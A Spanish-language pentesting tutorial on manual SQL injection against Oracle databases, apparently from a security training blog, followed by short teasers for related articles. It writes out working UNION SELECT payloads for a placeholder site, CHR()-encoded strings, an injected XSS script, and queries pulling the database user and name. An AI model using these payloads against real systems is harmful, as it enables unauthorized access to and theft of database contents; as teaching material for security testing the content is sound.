Artículo · Pentesting a Aplicaciones Web

Inyección SQL: Oracle

Samuel EstebanSamuel Esteban 6 min de lectura

En esta oportunidad nos enfocaremos en la inyección SQL hacia Oracle. Este motor de base de datos tiene gran escalabilidad en relación a las empresas, por ende debido a su elevado precio este enfocado a entidades empresariales, sin embargo las inyecciones SQL no están exentas en dicho motor.

Tenemos el siguiente escenario:

 

Inyección SQL - Oracle

 

Si al input del sitio web le añadimos una comilla simple, se obtiene lo siguiente:

 

Inyección SQL – Oracle, input vulnerable

 

Aparentemente, esta aplicación es vulnerable a una inyección SQL. Como podemos observar, el mensaje de error que devuelve nos entra un error de tipo ORA-01756, este error corresponde al motor de base de datos de Oracle, por ende nos podemos dar cuenta de que esta inyección esta enfocada netamente a dicho motor. La forma de realizar una inyección SQL es un poco distinta  en relación a los motores de base de datos que vimos con anterioridad. Intentaremos realiza una inyección.

Estructura de inyección SQL en Oracle:

 

www.sitioweboracle.com/index.php?id=3 UNION SELECT 1,2,3 FROM DUAL --

Si no también

 

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,NULL FROM DUAL --

En este tipo de inyecciones se recomienda utilizar valores nulos (NULL) ya que a veces es posible encontrarse con problemas de tipos de datos cuando se desea realizar una inyección, y de esta forma se evitan dichos problemas, además se utiliza la sentencia FROM DUAL. DUAL es una tabla comodín que se crea de forma automática al momento de instalar la Base de Datos Oracle, esta tabla tiene un solo campo y un solo registro. Esta tabla DUAL se puede usar para realizar operaciones matemáticas, crear filas virtuales, asignar valores, obtener secuencias, utilizar funciones, etc, a través de ella realizaremos ciertas consultas a la base de datos principal.

Inyección SQL en marcha:

Inyección SQL – Oracle, inyectando campos (1)

 

A medida que vamos agregando un nuevo valor NULL a la inyección, nos aparece un error SQL que indica que la consulta realizada tiene una cantidad incorrecta de columnas, esto es muy útil ya que seguramente cuando lleguemos a la cantidad indicada de columnas, no nos debería aparecer dicho error, actualemente llevamos inyectado  una cantidad de 8 columnas, sigamos con la inyección.

 

Inyección SQL – Oracle, inyectando campos (2)

 

En el campo número 11, nos aparece un error distinto, el cual indica que la sentencia SQL no se finalizó correctamente, esto aparentemente nos está indicando que hemos logrado detectar la cantidad de columnas, para estar seguros, probaremos agregando otro valor de tipo NULL para que ver que nos retorna.

 

Inyección SQL – Oracle, inyectando campos (3)

 

En la columna número 12 nos devuelve el mismo mensaje de error que en la columna número 8, por ende podemos concluir que el campo número 11 corresponde a la cantidad de columnas de la BD. A continuación debemos verificar que campo(s) es(son) inyectable(s), para posteriormente poder realizar las consultas SQL pertinentes, para ello debemos verificar que campo es de tipo string (ya que en los campos de tipo string es posible llevar a cabo una inyección SQL). Para realizar esta prueba realizaremos lo siguiente:

 

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

Cada uno de los campos NULL será reemplazado por un valor de tipo string (ejemplo: ‘hola mundo’), si el valor agregado es visualizado en el sitio web, esto nos indicará que dicho campo es de tipo string.

www.sitioweboracle.com/index.php?id=3 UNION SELECT ‘hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,’hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,’hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

Al realizar este proceso con los 11 campos, no fue posible detectar ningún campo de tipo string. Sin embargo cabe resaltar que Oracle tiene la particularidad de interpretar datos de tipo string encodeados en forma CHAR. Como vimos en la inyección SQL de Postgresql, en un momento tuvimos que encodear un string en formato CHAR. Lo mismo podemos hacer en este caso para probar si el campo  interpreta nuestro CHAR y permite visualizar dicho valor. Para ello realizaremos la conversión con el sitio web que fue mencionado en el documento anterior:

 

http://www.waraxe.us/sql-char-encoder.html

 

Valor

Valor en formato CHAR de Oracle

hola mundo

CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111)

 

A continuación realizaremos el mismo paso anterior pero en vez de utilizar el valor ‘hola mundo’, utilizaremos el valor encodeado.

 

www.sitioweboracle.com/index.php?id=3 UNION SELECT CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL, CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL, CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

En los primeros campos el valor no es de tipo string, sin embargo en los campos 6,7,8 y 9 nos devolvió el string dentro del sitio web, por lo tanto podemos deducir que en esos campos podemos llevar a cabo la inyección como tal.



                             Inyección SQL – Oracle, obteniendo campos de tipo String, campo 6

 

Inyección SQL – Oracle, obteniendo campos de tipo String, campo 7

 

Nos podemos percatar que es posible visualizar el valor “hola mundo” dentro del aplicativo web, por ende esto nos indica que en dichos campos podemos trabajar (lo mismo ocurre con los campos 8 y 9). También podemos verificar nuevamente que es posible realizar un Cross Site Scripting en dichos campos. Para esto encodeamos el siguiente vector de ataque:

 

String

<script>alert(“xss”)</script>

Encoeado

CHR(60)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)||CHR(97)||CHR(108)||CHR(101)||CHR(114)||CHR(116)||CHR(40)||CHR(34)||CHR(120)||CHR(115)||CHR(115)||CHR(34)||CHR(41)||CHR(60)||CHR(47)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)
www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL, NULL,NULL,NULL, CHR(60)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)||CHR(97)||CHR(108)||CHR(101)||CHR(114)||CHR(116)||CHR(40)||CHR(34)||CHR(120)||CHR(115)||CHR(115)||CHR(34)||CHR(41)||CHR(60)||CHR(47)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62),NULL,NULL,NULL, NULL,NULL FROM DUAL --

Inyección SQL – Oracle, XSS presente

 

Ahora procederemos a llevar a cabo la inyección para obtener información sensible, utilizaremos el campo número 6 para realizar esta prueba. Lo primero que haremos será obtener el usuario que se utiliza para administrar la base de datos Oracle (para realizar este proceso, no es necesario encodear las sentencias SQL).

La sentencia para obtener el usuario del DBMS  (Sistema de Gestión de Base de Datos) Oracle es la siguiente:

Select user From dual

 

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,NULL,NULL,NULL,user,NULL,NULL,NULL, NULL,NULL FROM DUAL --

 

Inyección SQL – Oracle, usuario del DBMS

 

El usuario del DBMS es INTERNET. Ahora detectaremos la base de datos conectada a la aplicación web, para ello utilizaremos la siguiente sentencia:

Select SYS.DATABASE_NAME From dual


Inyección SQL – Oracle, base de datos conectada al aplicativo web

 

Este tutorial ayudó a comprender como funciona la inyección SQL en Oracle de manera manual, si deseas indagar sobre más vectores de ataque para esta inyección te dejo a continuación el siguiente link:

 

http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Web Application Testing.

Samuel Esteban

Escrito por

Samuel Esteban

Senior Pentester

Actualmente me desempeño como Pentester...

Sigue leyendo

Sqlmap - ejemplo con metasploitable2
Pentesting a Aplicaciones Web

Sqlmap - ejemplo con metasploitable2

MMartin Frias

Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.

Portainer es una herramienta web open-source: Gestor Web para Docker
Pentesting a Aplicaciones Web

Portainer es una herramienta web open-source: Gestor Web para Docker

Javier Candia

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.

Evil Limiter
Pentesting a Aplicaciones Web

Evil Limiter

Erik Garcia

Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.